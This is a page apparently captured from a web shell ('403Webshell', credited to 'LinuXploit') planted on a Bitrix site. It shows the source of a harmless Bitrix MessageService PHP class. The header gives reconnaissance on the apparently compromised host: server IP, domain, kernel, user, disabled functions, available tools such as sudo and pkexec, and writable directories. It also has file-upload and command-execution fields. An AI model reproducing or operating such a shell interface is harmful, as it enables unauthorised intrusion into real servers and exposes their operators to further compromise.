403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/messageservice/lib/integration/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/messageservice/lib/integration/pull.php
<?php

namespace Bitrix\MessageService\Integration;

use Bitrix\Main\Loader;
use Bitrix\Main\Type\DateTime;

class Pull
{
	public const TAG = 'MESSAGESERVICE';
	public const COMMAND = 'message_update';

	private static $canUse;

	public static function canUse()
	{
		if (static::$canUse === null)
		{
			static::$canUse = Loader::includeModule('pull');
		}
		return static::$canUse;
	}

	public static function onMessagesUpdate(array $messages)
	{
		if (!static::canUse())
		{
			return false;
		}

		return static::addToStack(
			self::COMMAND,
			[
				'messages' => static::convertData($messages)
			]
		);
	}

	/**
	 * @param string $command Pull command name.
	 * @param array $params Command parameters.
	 * @return bool
	 */
	private static function addToStack($command, array $params)
	{
		if (!static::canUse())
		{
			return false;
		}

		return \CPullWatch::addToStack(
			self::TAG,
			array(
				'module_id' => 'messageservice',
				'command' => $command,
				'params' => $params,
			)
		);
	}

	/**
	 * Converts message fields to the suitable for sending via p&p format.
	 *
	 * @param array $messages
	 * @return array
	 */
	private static function convertData(array $messages): array
	{
		foreach($messages as $k => $message)
		{
			foreach ($message as $field => $value)
			{
				if ($value instanceof DateTime)
				{
					$messages[$k][$field] = (string)$value;
				}
			}
		}

		return $messages;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit